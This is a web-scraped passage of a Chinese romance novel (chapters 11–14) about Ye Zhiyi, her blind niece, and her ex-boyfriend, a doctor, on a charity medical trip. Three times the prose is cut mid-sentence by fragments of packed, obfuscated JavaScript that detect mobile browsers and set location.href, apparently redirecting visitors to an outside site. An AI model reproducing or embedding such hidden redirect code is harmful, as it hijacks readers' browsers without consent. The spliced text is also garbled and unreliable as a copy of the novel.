徐薏对着叶之一再次道歉:“对不起啊,我不是有心的。” “没事,”叶之一淡淡微笑,“你们聊。” 电梯刚好到一楼,里面的机器人出来后,叶之一牵着米棠走进去。 在电梯门关上之前,蒋煜跟了过来,他被吵醒的烦躁已经缓和许多。 “真吃过了?” “嗯。” “餐厅不远,去坐一会儿?” “今天很累,糖糖也困了,想早点休息。” 蒋煜看了眼她手里的蛋糕盒子,叶之一面不改色地说:“饭后甜点,小孩儿嘴馋。” 电梯门缓缓合上。 米棠天真地问:“为什么骗医生叔叔?是要给他惊喜吗?” 叶之一轻声道:“有人陪他过生日,咱们这个蛋糕有点多余。” 11.第 11 章 普通连锁酒店,条件自然好不到哪里去。 前台给客人倒的是苦荞茶,不知道泡了多久,颜色淡,没什么味道。 徐薏歆穿得单薄,在大厅站一会儿就觉得手脚发凉。 蒋煜从电梯那边绕回来,徐薏歆走到他身边,望着他过来的方向出神,喃喃感叹:“想不到,她竟然都有一个那么大的孩子了。” 她高二才转到国际班,高一和叶之一同班,前后桌坐了一个学期,当时是熟的,后来联系得少,交际圈也不同,高考结束就没再见过。 忽然想起前段时间刷到过叶之一的照片,徐薏歆从包里拿出手机,直接在微信搜索框里输入“叶”字,从联系人里找到叶之一的账号,点进她的朋友圈,最新一条动态就是那张她有印象的照片。 “你看,”她把照片放大,手机举到蒋煜面前,“她旁边的男人估计就是孩子爸爸,瞧着还是挺幸福的一家。” “不是。”蒋煜脸上没什么表情,甚至连余光都没有往屏幕上瞟,他知道是哪张照片。 他回答得独断,徐薏歆不禁失笑,“幸福是自己感受的,你一个外人怎么能这么笃定人家不幸福。” 蒋煜语调平淡:“我确实没资格仅凭一张照片断定幸不幸福,但他不是孩子的父亲,他们不是一家。” “啊?”徐薏歆睁大眼睛,“她不会是未婚生……” “少背后议论人,”蒋煜打断她的话,两手插兜往外走,“这一条街都是饭馆,随便凑合一顿,时间不早了,早点吃完你也能早点回去。” 外面凉飕飕的,徐薏歆小跑几步跟上他的步伐,顺着一辆经过的电动车往远处看。 她不愿意凑合,“生日一年只有一次,怎么也得吃碗长寿面。” 昨晚蒋煜洗漱完倒头就睡,手机调了震动模式,零点一过,亲戚朋友们的生日祝福就一条接一条地发送到他的手机里,他早上睡醒后才看见,挑着回复了几条。 他不在南川,工作也没结束。 一个五人的发小群最热闹,他发了个实时定位,那些等着喝酒的人才相信他人确实在外地,等他回去再请客。 蒋煜没有料到徐薏歆会不声不响地跑来找他,还捐赠了一车学习用品。 他一点胃口都没有,进食只为维持生命体征,菜都上齐了,他还在想叶之一拎在手里的那个蛋糕是不是给他的。 徐薏歆能感觉到坐在对面的人有些心不在焉,这家店上菜速度快,但味道非常一般,她挑着勉强能入口的吃,“反正明天早上才开始看诊,喝杯酒?” 蒋煜摇头,“我这两天在吃药。” “晚上睡不好吧,”徐薏歆给他添了杯果茶,“便宜酒店的床单被罩都不干净,枕头不舒服,隔音也差,能睡得好才怪。你干嘛非得受这个罪,换酒店是花自己的钱,又不是花公款,谁能挑你的毛病。” 蒋煜放下筷子,“你当我出来旅游的。” “好好好,我不说了行吧。” “吃饱了?” 菜几乎都没怎么动过,徐薏歆本来想换家店,看他眼角有红血丝,人也疲惫,就没再折腾,朝他点了下头。 蒋煜起身结账。 到酒店停车场,徐薏歆拢了拢手臂,“我大老远过来,你不送送我?” “车就在面前,还要怎么送,”蒋煜对司机说,“慢点开,注意安全。” 不解风情。 徐薏歆一脚踢飞小石子,轻声抱怨:“死直男,真没劲。” 蒋煜当没听见,等她坐进车里,把车门关上。 距离酒店大约350米的位置有家咖啡店,蒋煜去买了两杯热牛奶,途中路过各种小摊,又买了炒栗子、糖葫芦和各种水果。 回到酒店医疗队入住的楼层,他把水果给每个房间送了一些,最后到513房间敲门。 * 米棠抱着蛋糕盒子,已经在床上坐着不动将近一个小时了。 小话痨不叽里咕噜说话了,也不听电视,眉眼耷拉着,十分失落。 叶之一洗完澡,头发吹到半干,随意抓了抓,走到床边,她去洗澡前米棠是什么样,从浴室出来还是什么样。 她有些无奈,“我给你切一块尝尝味道好不好?” 生日蛋糕要吹蜡烛许愿,米棠低着头,下巴压在盒子上,小声说:“再等等,万一他和那个阿姨没有吃蛋糕……” 突然响起的敲门声把她吓了一跳。 叶之一转身看向房门,“谁啊?” “是我,”蒋煜也怕吵醒孩子,音调不高,“糖糖睡了吗?” 米棠靠声音认人,小脸肉眼可见得明朗起来,她高兴地回答:“医生叔叔,我没有睡觉。” 叶之一套了件衣服去开门。 她刚洗完澡,头发柔软地披在肩上,五官素净,暖色调灯光将她身上拒人于千里之外的那股清冷劲儿淡化,只是脸上依然没有一丁点儿笑意。 蒋煜说:“水果买多了吃不完,大家分一分。” 他右手拎满了东西,大袋小袋,每一种都不一样,像是从市场进完货回来。 叶之一问:“你不是去吃饭了?” “没心情吃,”蒋煜先把印有咖啡品牌logo的纸袋递给她,“不是咖啡,是牛奶,趁热喝。” 叶之一咖啡因不耐受。 蒋煜还站在门外,“我能不能进去?” “有事就这样说。” “栗子壳,我得坐着剥。” 叶之一:“……” 沉默半分钟后,她侧身让开。 蒋煜进屋,反手关门,每个房间都有一个小圆桌,他把东西放在桌上,顺手将正用脚尖试探着找拖鞋的米棠抱到沙发上坐着。 米棠闻到了甜甜的味道,“叔叔,我们一直在等你。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177029|180689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >蒋煜看向叶之一。 房间小,叶之一站得再远也在他的视线里,他没说话,目光却有实感,让人心烦,“她自己等,我没等你。” “对不起,”蒋煜挪开椅子,防止孩子磕碰,“我买了糖葫芦,别生气行吗?” 米棠歪头笑,“我不生气。” 屋里开着空调,蒋煜待了一会儿觉得热,把外套脱掉搭在椅背上,里面是件黑色卫衣。 他说进来剥栗子壳,就真的只是剥壳,剥好的栗子自己不吃,全放进干净的一次性杯子里。 蛋糕盒子就摆在床上,他一句不问。 医生做手术的手,剥栗子壳也好看。 “蛋糕!”米棠嘴里的山楂还没嚼碎,就急忙说话,“叔叔,祝你生日快乐,每天开心。” “谢谢宝贝,”蒋煜伸手擦掉她脸上的糖渍,又看了某人一眼。 衣服叠了,袜子洗了,实在没什么能收拾的了,叶之一就把蛋糕拿到桌上拆开,插上蜡烛。 烟灰缸旁边有打火机,她逐一点燃,再去关灯,只留卫生间里的灯亮着。 “许愿吧。”米棠双手合十,虔诚闭眼。 小孩儿总有很多愿望。 烛光温馨,在寂静的一分钟里,蒋煜的视线不知何时落到了叶之一脸上,她察觉到了,但没有回应,甚至有些冷淡。 蒋煜的心情却很不错。 唱完生日歌,米棠配着热牛奶吃了一小块蛋糕,她能自己刷牙。 卫生间里细小的水流声就在耳边,蒋煜走到房门口,开门前又转过身。 叶之一后退半步,“还有事?” 他说:“衣服忘拿了。” 叶之一回到圆桌旁,拿起椅子上的外套,三两步走到他面前。 蒋煜伸手接过,随意挂在臂弯。 他没话找话:“栗子甜不甜?” “还行,”她吃了几颗,“你到底走不走?” “走,”他嘴上说着走,但只挪了一步,握着门把手,一直没往下压,“那个……明天可能下雨,你多加件衣服。” 叶之一“嗯”了一声。 过了一会儿,他又说:“我头有点晕,不知道是不是发烧了。” 她态度依旧,“找前台要温度计量一下体温。” “你不是会摸吗?” “……蒋医生,你今天过的是三岁生日?” 他忽然笑了,笑声带有轻微鼻音,低低的,哑哑的。 叶之一抬头就跌进他深邃的眼眸。 洗发水浓郁的玫瑰香在空气中蔓延,混着奶油甜香味,被空调热气烘灼升温,丝丝缕缕在两人之间流转。 叶之一脑海中莫名出现梦里混乱纠缠的零碎片段。 他们不是什么陌生人。 他们牵过手,拥抱过,接过吻,脱过对方的衣服,抚摸过彼此的身体,更亲密的事也都做过。 12.第 12 章 叶之一想起久远的大学时期。 十八岁是爱情至上的年纪,刚在一起头两个月,他每天送她回宿舍,门禁之前那几分钟和现在这个状态别无二致,空气闻着都是甜的。 酒店隔音效果差,外面走廊的咳嗽声稍微重一些都能传进房间。 叶之一很快清醒,此刻的甜腻来自于奶油蛋糕和糖炒栗子,无关男女爱情。 她看向他握在门把上的手,“门坏了?” “没坏,”蒋煜听得出她是在赶他走,把门拉开一条缝隙,“你还没有跟我说‘生日快乐’。” “生日快乐,”她像个无情的人机。 蒋煜抬脚离开,“晚安。” 屋里少了一个人,空间突然大了许多。叶之一本想把空调温度调低,这会儿又不觉得热了。 米棠刷完牙偷偷在洗脸池里玩水,袖子弄湿了一截。 叶之一利落地把孩子洗干净,塞进被窝,米棠只听了几分钟睡前故事就睡着了,她却难以入睡。 明明长途奔波致使身体十分疲惫,可一闭上眼,各种陈年旧事就跑出来在脑袋里开大会,再加上隔壁住着两个小年轻,动静不小,叶之一就彻底失眠了。 她这次跟着医疗队出来义诊是有私心的,多认识一些特殊学校的老师,多看看盲童在学校里怎么生活,算是取经,累点儿就累点儿。 最后一站了,医疗队停留两天。 学校设施齐全,体育馆足够宽敞,老师们摆了一排桌椅,早上八点半就开始排队看诊。 米棠第一天只敢自己待着,第二天就稍微适应了,大人们忙得顾不上她,她能自己找新朋友帮忙带她去上厕所,不小心弄湿衣服也没吭声。 体育馆里只是不冷而已,烘不干衣服,傍晚结束后拍大合照,叶之一从一群孩子里找到米棠,摸到一手冰凉,才发现她毛衣湿了,尽管回到酒店就洗澡换衣服,哄着她喝了一杯热乎乎的预防感冒颗粒冲剂,晚上还是发起了高烧。 身边都是医生,但医疗队没带常见且好买的退烧药,得去医院。 米棠平时总学着邻居奶奶叫“小一”,病了才可怜巴巴地叫小姨,红脸蛋热腾腾地贴着她。 “小姨在呢,”叶之一用她的冲锋衣裹住孩子,抱着往外走。 米棠嗓子哑了,隐隐有哭腔:“我不想打针。” “先找医生看看,说不定吃药就能好,”叶之一取房卡开门,“搂紧。” 提前叫的车快到了,等电梯时,她给米梅回消息,说她们明天早上回南川。 电梯门打开,刘医生先看见人,关心地问:“糖糖怎么了?” 叶之一说:“有点发烧。” 米梅的电话打了过来,单手抱孩子有些吃力,右手微微发麻,不等她换手,从电梯里出来的蒋煜就从她怀里把孩子接过去。 “妈,你睡你的睡,别一听糖糖病了就着急上火血压飙升,你放心,我肯定带她去医院。电梯里信号不好,我先挂了。” 叶之一挂断电话,把手机塞进兜里。 蒋煜按下一层的按钮,拍拍小孩儿的后背,轻声安抚几句,朝叶之一伸手,“帮忙扯着袖口。” “不用……” “我再没品也不会在这种时候利用孩子纠缠你。” 行李箱里几乎全是米棠的东西,叶之一没带多余的外套,黑色冲锋衣防寒又耐脏,她从出门到现在,每天都是穿这一件,这会儿披在米棠身上,她只穿毛衣就显得单薄。 蒋煜动了下肩膀,“你要是也发烧了,糖糖谁来照顾。” 出门在外,各种不便,叶之一就没再多说什么,帮着把他的西装外套脱下来,换自己的衣服。 到一楼,她先小跑着出去开车门。 晚上不堵车,路上倒是顺利,儿科急诊大厅却被哭声全面覆盖。 最近换季降温,孩子发烧咳嗽的多,有呕吐的,有摔断胳膊的,还有意外吃了洗碗剂的,儿科情况总是各种千奇百怪。 叶之一排队挂号,蒋煜抱着米棠在预检台测体温。 他们十点半到的医院,将近十二点才叫到号。 刚发烧查血不准,医生只开了药,让回去观察。 米棠额头贴着退热贴,不哭不闹,就是蔫蔫的,蒋煜倒出5毫升布洛芬混悬液喂她喝下,又喂她喝了半杯温水。 旁边的幼崽一直哭着喊妈妈,米棠软绵地靠在蒋煜肩上,歪着头说:“小姨,我想外婆。” 叶之一摸摸她的手,“明天就回家。” “孩子爸爸,钱包落在椅子上了!”年轻护士火急火燎地追出来,直接把钱包塞给旁边的叶之一,“检查一下有没有少东西。” 叶之一道了声谢,回头对蒋煜说:“我抱一会儿。” “没事,我不累,”蒋煜把衣服往上拉,遮住孩子的脑袋,免得吹凉风,“帮我看看证件在不在,别的不重要。” 叶之一打开钱包。 几张银行卡和身份证分别在夹层里,刚才是他缴的费,她正好看看清单,回酒店好转账给他,却不想带出来一张拍立得照片。 两人都不是喜欢拍照纪念的人,毕业前他们频繁吵架,最后连一张毕业合影都没拍。 这张拍立得是他们在一起第一百天,坐在海边看日落,每隔几分钟就有人过来问“帅哥美女要不要拍照”,蒋煜被问烦了,就花了三十块钱拍了一张游客半身照,钱倒是没白花,摄影小哥抓拍时机巧妙,两人都没看镜头,自然含笑对视,热恋感和青春气息都被完美定格。 叶之一当没看见,抽出缴费单,不露痕迹地将照片重新塞进夹层。 “4张卡,1张身份证,6张百元钞票,还有点零钱,没别的了吧。” “就这些,你先帮我拿着。” 网约车司机打来电话,叶之一捏着钱包,跟司机确定位置。 米棠没精神,哈欠连连,“叔叔,我想睡觉。” “睡吧,我和小姨都在,”蒋煜轻轻拍着她,沈千苓小时候在他家半夜突然高烧,也是他带着去医院,她比沈千苓好带多了,只是吹在颈窝的呼吸很烫,令人揪心。 坐上车,叶之一给米梅回消息,不然老太太得提心吊胆一晚上。 米棠睡着了,蒋煜轻声说:“靠着我休息一会儿。” “我还好,”叶之一手指按了按太阳穴,她闭上眼叹气,“我又欠你一次。” 蒋煜小心调整坐姿,让孩子睡得更舒服,“这次不算在你头上,哪怕只是一个和我毫不相关的普通志愿者,我遇到了也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186984|180689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会帮忙。” “糖糖是我姐的孩子,你知道的吧。” “那就再补充一句,我帮忙,不是因为我还在幻想她是我的女儿,所以抢着献殷勤。” “哦,谢谢。” “不客气。” 从医院回酒店,再到房间,米棠都没醒。 叶之一坐在床边给孩子脱衣服,蒋煜取下挂在衣架上的粉色儿童毛巾,去卫生间用温水浸湿,再拧干,放在叶之一手边,又去门口拿机器人送上来的医疗包,前台只有水银温度计,他找跑腿买了电子的。 叶之一拿起毛巾,擦拭米棠的手和脖子,“都两点多了,你回去休息。” “我回去也睡不着,”蒋煜坐到双人沙发上,“让我留下,临时出状况能搭把手。” 吃了退烧烧,米棠睡得沉,叶之一的精神一刻不敢放松。 她关掉刺眼的灯,在沙发坐下,蒋煜递过来一瓶拧松瓶盖的矿泉水,她接过,仰头喝了几口。 蒋煜看着熟睡的米棠,“你姐不在南川?” “不在,”叶之一声音疲惫,“她不在了。” 五秒钟后,蒋煜才意识到‘不在了’是什么意思。 他虽然没见过米曦禾,但那几年,在叶之一口中听过无数次这个名字,她比叶之一大六岁,大学考去了距离南川市一千多公里的城市,毕业后留在那里。 姐妹俩一个跟父姓,一个跟母姓,他甚至知道,姐姐因为上学后总学不会写自己的名字,等妹妹出生了,就让父母给妹妹取名选最简单好写的字,所以才有了“叶之一”,也致使叶之一因为名字里没有生僻字,简单好写好念,从小学到大学,被老师点名起来回答问题的概率高到离谱,翘课必被抓。 米棠今年五岁,也就是说,米曦禾去世是最近几年的事。 如果房子没有拆迁,她们应该还住在那条老旧的巷子里。 母女俩带着一个看不见的孩子生活,日子顺畅不到哪里去。 她过得不好。 血肉中仿佛生出一条条粗细不一的藤蔓,紧紧缠着心脏,蒋煜艰难找回声音:“你和阿姨把糖糖教得很好,她懂礼貌,性格也活泼,会表达自己,会分享。” 叶之一抱怨过上天不公,世界上那么多健康的孩子,凭什么她们家米棠眼睛看不见? 抱怨归抱怨,她从不觉得米棠是拖着她无法奔跑的累赘,而是姐姐留给她的天使宝宝。 “嗯,她很乖,”叶之一侧首迎上蒋煜复杂潮湿的目光,她牵动唇角,释然地笑了笑,“都过去了,往前看才是真理。” 亲人离世是一场连阴雨,蒋煜没再多问。 以前她把恋爱和家庭分开,界限清晰,现在他是外人,连在她脆弱时刻抱一抱她的身份都没有,言语安慰苍白无用,只会掀起伤疤。 天亮后,米棠没有完全退烧,其它药得继续吃。 叶之一收拾行李,蒋煜洗了把脸,出去买早饭。 酒店餐厅提供的餐食不适合病中的孩子吃,蒋煜打车来回,没用多少时间,南瓜白米粥清淡,至少有点味道。 到513房间,他只轻轻敲了一下。 “糖糖醒了吗?我买了……”蒋煜的声音戛然而止。 开门的人是裴起严。 13.第 13 章 裴起严连夜坐高铁赶过来,十分钟前才到酒店,带着一身风尘仆仆的倦意,但依然保持绅士风度。 “多谢蒋医生照顾一一和糖糖,给你添麻烦了。孩子还在睡,粥放凉了也不方便加热,你先吃。我刚才跟主任打过招呼,如果十点我们没办法出发,就不耽误医疗队返程,我们自己回去。” 我们。 你。 听着是客气的道谢,但简单几个字就把蒋煜划分开,连同这扇房门一起将他挡在门外。 蒋煜眼里的温情逐渐退却,情绪不明,“来得挺早。” “还是晚了,”裴起严有些自责,“阿姨昨晚十一点多才告诉我,否则我下飞机就应该过来,不至于让她一个人在这里为孩子担惊受怕。” 蒋煜出门时穿走了外套,未在房间里留下任何一件属于他的东西,他没抽烟,空气中连一丝烟味都闻不到,裴起严不知道他在里面待了一夜。 走廊没有空调,凉风穿过手指往屋里钻。 短暂无声的对峙后,蒋煜移开视线,越过对方,看向屋内。 水流声断断续续,叶之一应该在卫生间洗漱。 蒋煜低声说:“叶小鱼,糖糖没醒,你得吃点东西,我买了你爱吃的灌汤包。” 叶之一嘴里含着牙膏泡沫,有气无力,“没胃口。” “给我吧,”裴起严抬手,“我劝她吃。” 蒋煜没递给裴起严,后者的手晾在半空,略显尴尬。 饭就是用来吃的,谁中间接一下递一下丝毫不会影响食物的口感和补充体力的作用。 蒋煜不知道自己为什么非要较这个劲儿。 或许是裴起严从开门那一刻开始浓烈的家属感让他如鲠在喉,他愿意给屋里的一大一小当跑腿买饭送饭,再困再累也无半句怨言,关心和心疼都是由心而发不求回报的,孩子生病,大人更难受,他多做一点,叶之一就能少做一点,哪怕是自作多情,但不愿意承认自己在裴起严面前是个外人。 蒋煜淡声道:“叶小鱼,你不吃我就全扔垃圾堆喂狗。” 几秒钟后,叶之一咬着牙刷走到门口。 裴起严侧过身,给她让位置,往后退了几步,蹲在床边继续整理她收拾到一半的行李箱。 蒋煜没给自己留。 叶之一的手指勾着五六个打包袋,“你不吃?” “气饱了。”蒋煜转身离开。 他住在斜对面,叶之一看着他在衣服兜里找了半天门卡才把门刷开,在他关门前,她大步走过去,用手挡着门。 蒋煜连忙拉开房门,“小心夹手。” “空气哪能管饱,”她分他一份,“自己买的,自己不吃多亏。” 头痛心脏痛浑身都痛,蒋煜气得难以维持体面,就在门口不合时宜地追问:“他谁啊?一大早就进你房间,还动你的行李箱,箱子里有你的贴身衣服,这合适吗?他洗手了吗?” 叶之一把一份粥和灌汤包挂在他手上,“你少管。” 蒋煜垂在身侧的手握紧。 是他多余问,人家能连夜过来,当然不只是普通朋友关系。 米棠翻了个身,叶之一轻轻把她的脚塞进被窝,用手心摸了下她的脸,比昨晚好多了。 裴起严已经把早餐摆好。 对方显然了解她的喜好,还单独打包了一小盒醋。 叶之一坐到圆桌旁,“米梅女士可真不拿你当外人,我今天就回去了,她还让你跑一趟。” 裴起严拆开一双筷子递到她手边,“你多大,我们就认识了多少年,我不算外人吧。你小时候追着我叫起严哥哥,让我带你去叔叔工作的地方找他,也是一点不客气,怎么长大了反而生分?” 在父母离婚前,在她被父亲带走前,她确实喜欢黏着裴起严,因为姐姐嫌她烦不爱带她玩。 从八岁到十四岁之间,两人没再见过面,她回到南川市那年上初三,裴起严读大二,算是青春期少女和成年男人,一个学业繁忙,一个假期不着家,见面机会不多,话题也聊不到一起,春节倒是年年都见,再后来,她考进南川大学,他在航空公司工作,更是见得少,近两年才频繁联系,她偶尔帮着喂他家的猫,他休息也会时不时去她家里看看有没有什么东西坏了要修。 叶之一夹了个灌汤包,沾了点醋,塞进嘴里。 是鲜肉馅儿的。 她最怕欠人情,“那会儿不懂事,现在还总给你添麻烦,我不好意思。” 裴起严笑笑,“我也不希望你一直把我当哥哥看。” 叶之一愣了一瞬。 用勺子搅拌两下,热气就从粥里漫出来,裴起严状似无意地提起蒋煜:“刚才那位,是你大学谈的那个男朋友?” 南川的夏天高温在全国排前几名,暑假两个月最热,尤其是大二那年,几次突破往年高温记录, 午后暴晒,一下出租车就疯狂流汗,她穿得清凉,目送想把她送到家门口但被她拒绝的蒋煜离开后,拉着行李箱往巷子里走,迎面遇上裴起严。 没聊几句,就被他看见了她衣服领口边缘露出的一枚吻痕。 当时他笑了一下,问得直接:“交男朋友了?” 她前一晚住在蒋煜在学校附近的房子里,几个小时前才从床上下来,不小心被邻居哥哥看到身上的私密痕迹,她耳根发烫,不太自然地拉高衣领,故作淡定:“保密。” 学生时期恋爱,不喜欢家里问东问西,朋友圈都分组发。裴起严心领神会,比了个OK的手势,让她放心,他嘴严。 所以叶之一大学谈了个本地男朋友,米羲禾和裴起严都是知道的。 上次追尾事件,裴起严没多过问。 这次他提了,叶之一也不否认,“嗯,出来义诊是碰巧。” 分手多年的前任重逢后频繁相遇,怎么可能全是凑巧。 裴起严回想这两次那位医生对他的敌意,大概是男人天生就有对竞争者的敏锐触感。 他表情没什么变化,只说了句:“幸好我来了。” 床上的米棠突然惊醒,哭出声,叶之一丢下筷子就跑过去抱她。 小孩儿不舒服,哭得可怜,叶之一哄了一会儿就好多了。 裴起严从保温杯里倒出半杯开水,兑三分之一的常温矿泉水,温度正合适。 “喉咙疼吧,喝口水。” 米棠睁着一双水汪汪的眼睛,茫然地看着声音的方向,“裴叔叔?” “是我。” “真是你呀,我还以为在做梦呢。” 眼泪还挂在她脸上,裴起严弯着腰,等她喝完水,用纸巾擦了擦,“我来接你和小姨回家,我们坐高铁好不好?就是速度很快的火车,你在车上睡一觉就到了。” “只有我们吗?” “就我们三个人。” 米棠轻声抽噎,她不太想坐火车,“可是秋游最后要和朋友们一起坐车回家。” 叶之一说:“她醒了,时间来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196517|180689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得及,还是跟着医疗队回更方便。” 裴起严少数服从多数:“行,听我们小糖宝的。” “你也吃点东西,我和糖糖吃不了那么多。” “早餐是蒋医生买的,我吃,他会不高兴吧。” “吃你的,我会给他转账。” …… 十点整出发,每个人都尽量提前上车。 九点四十五分,513房门打开,裴起严抱着米棠走在前面,叶之一取了房卡,拉着22寸行李箱跟在后面。 电梯还没到,刘医生正跟蒋煜说话,余光注意到朝这边走过来的成熟男人。 刘医生先问米棠体温多少,再看向裴起严,“叶子的家属?” “半个家属,”裴起严颔首打招呼,“您好,我姓裴,这些天多谢大家照顾。” “糖糖特别乖,叶子更是特别能干,没怎么照顾。昨晚没看到你,你是连夜过来的吧,也蛮累的。” “见着人就不觉得累了,我不来,在家里担心她们更累,交通便利,跑一趟也不算什么。” “哎呦,觉悟挺高。如果好事将近,记得请我们喝喜酒啊。” “……” 叶之一困倦,在旁边没搭话。 距离她两米远的蒋煜沉默不语,气质高冷疏离,只在进电梯时从她手里拿过行李箱。 交卡退房,一路到停车场,蒋煜把箱子塞进大巴车行李舱,上车找座位。 米棠吃完药又睡着了,她没法儿单独坐,裴起严抱着她,叶之一坐靠窗那边,抬手把冲锋衣宽大的帽子拉到头上,遮住眼睛。 蒋煜从他们这一排经过,往后走,坐在斜后方的位置。 返程人少,再加上大家疲惫不堪,没几个人还有精力聊天说笑,大巴车摇摇晃晃,不到半小时车里就睡倒一大片。 叶之一睡得快,沉重的脑袋倒向玻璃窗那边,撞了几下后,她就逐渐往裴起严这边靠,裴起严也熬了一夜,扛不住倦意,两人就头靠着头睡。 在旁人眼里,这一幕亲密如恋人。 刘医生给家人发完消息,收起手机,多瞧了几眼。 她感叹:“这位裴先生还不错嘛。” 邻座的蒋煜面无表情,“我很差?” “你当然也很好,年轻有为,专业能力强,学历相当漂亮,眼科一枝花,优质单身男,但是这跟人家叶子有什么关系,”刘医生看着他,“学妹约你吃饭,你不去,青梅为陪你过生日,大老远捐物资,你不冷不热,对孩子倒是热心,忙前忙后的,刚才在酒店,你是在等她们吧,难道你和叶子早就认识?” 前面那两颗脑袋靠在一起分不开了。 眼不见心不烦,蒋煜索性闭上眼睛,“恋爱专家看不出点什么?” 刘医生本来没觉得哪里不对劲,叶之一人漂亮性格好,出远门带着孩子不容易,正常人都会搭把手。 高明走之前说过,叶之一是他老婆的闺蜜,他拜托蒋煜多照顾,刘医生就没往歪处想。 尽管早晨她看见蒋煜从叶之一房间出来,当时也就是觉得他真心喜欢那孩子。 蒋煜话中有话,别有深意,情绪也莫名其妙,像在吃醋,几分钟后,刘医生终于反应过来,眼睛在这三人之间来回打转,不敢置信。 她试探着问:“……你俩有事?” 蒋煜并未反驳。 刘医生大惊:“不会吧……你……你当小三啊!插足别人的感情,要遭天谴的!” 14.第 14 章 返程路上,蒋煜再也没跟刘医生说一句话。 中午大巴车经过服务区,停下休息了二十多分钟,之后就一路开回第一医院。 米棠还是没什么精神,抱着兔子玩偶,小脸蔫蔫地趴在裴起严肩上。 南川市在下雨,气温更低,风也嚣张。 叶之一排队取行李,蒋煜的车就在停车场,他本打算直接开走,省得碍眼,但又放心不下孩子,雨天附近不好打车。 蒋煜走近两步,“我送你们。” 叶之一摇头,“绕路麻烦,你先走,我们等网约车。” “顺路,”蒋煜面不改色,他把目标转移到最好说话的小孩身上,“糖糖,坐我的车好不好?” 米棠怕打针,想快点回家。 她一听到蒋煜的声音,就迫不及待地朝他伸手,“好。” 蒋煜把孩子从裴起严怀里接过来,抱进车后座,他在义诊前准备的儿童安全座椅派上了用场。 他调整好角度,让米棠坐得舒服,又帮她简单整理了一下乱糟糟的头发,关上车门,无视刘医生五颜六色一言难尽的表情,走到车尾,提起叶之一的行李,塞进车后备箱。 一套动作行云流水般顺畅,丝毫不在意别人怎么看。 什么狗屁小三? 他和叶之一谈恋爱的时候,旁边那位还不知道在哪儿呢,时间再久远也要讲先来后到。 蒋煜催她上车:“天气冷,别淋雨。” “谢谢,”叶之一累得没力气跟他拉扯,他愿意送就让他送,她看向裴起严,“走吧,搭便车。” 裴起严坐进副驾,道了声谢。 天空雾蒙蒙的,车开出医院,蒋煜开口问:“裴先生住哪个位置?我先送你。” 裴起严说:“导航到叶家的小区就行,我们住一起。” 蒋煜清俊的面庞隐约出现细微裂痕,短暂沉默后,他忽然笑了一声,“住一起?” 小孩儿带着浓浓鼻音的声音响起:“裴叔叔住我家楼下,他家有只很可爱的猫咪。” 蒋煜回应她:“你喜欢猫?” 米棠摸着玩偶的长耳朵,“猫咪和狗狗都喜欢,你送我的兔子,我也喜欢。” 裴起严顺势解释道:“以前是邻居,老房子拆迁后,父母搬进同一栋楼,就还住在一起,楼上楼下都是熟人。” 蒋煜听明白了,对方比他更早认识叶之一。 车里没音乐,长久沉默,气氛有些尴尬。 米棠在大巴车上几乎没醒过,这会儿恢复了点活力,自己在吃水果,叶之一拿出手机给她找童话故事听,顺便给家里的老太太说一声她们快到了,点进微信最先看见的是吕湘刚发来的消息。 吕湘:【今天邹猪拉着个猪脸灰头土脸地走了,还装无所谓呢,其实在乎得要死!大快人心!普天同庆!从总部调来的新领导不知道是不是人,但至少长得还行,不会折磨我的眼睛!】 叶之一唇角翘起。 她只回复一条,电话那边的吕湘就直接开启疯狂吐槽模式,身边全是傻逼然而没有搭子的苦日子,上班不如上吊,吃饭不如吃屎,活着不如出家。 前方红灯,蒋煜瞟了一眼后视镜,“笑什么?” 叶之一捏着酸疼的脖子,“前同事在小发雷霆,挺可爱的。” “和前同事还保持着联系。” “我们只是不在一个公司共事而已,又不是绝交了。” 她和前同事可以照常相处,前男友不行。 蒋煜至今仍记得号码被叶之一拉黑前的最后一通电话,她说她烦透了,没见过他这么难甩的男人,求他别再换号联系她。 她不是锱铢必较的性格,有人的地方就有矛盾,上学工作不可避免会和身边的人发生摩擦,她从来都是对事不对人,只要不是原则上无法原谅终生仇恨的矛盾,事情过去了就能和解。 她只对他狠心绝情。 他们那几年仿佛只是她在对爱情游戏新鲜好奇的年纪才有的一段经历,到了结点,被按下暂停键,突然就不爱了。 她需要家人,需要事业,需要朋友,唯独不需要他。 * 义诊结束后休假两天,蒋煜在家养精蓄锐,把这些天缺的觉补了回来,调整好作息,沈千苓这个大魔王又开始折磨他。 沈千苓理直气壮:“拿人手短,你吃了我点的外卖,就得去给我开家长会。” 她在学校遇到了麻烦,班主任请家长去面谈,关键时刻,哥哥总得有点用处吧。 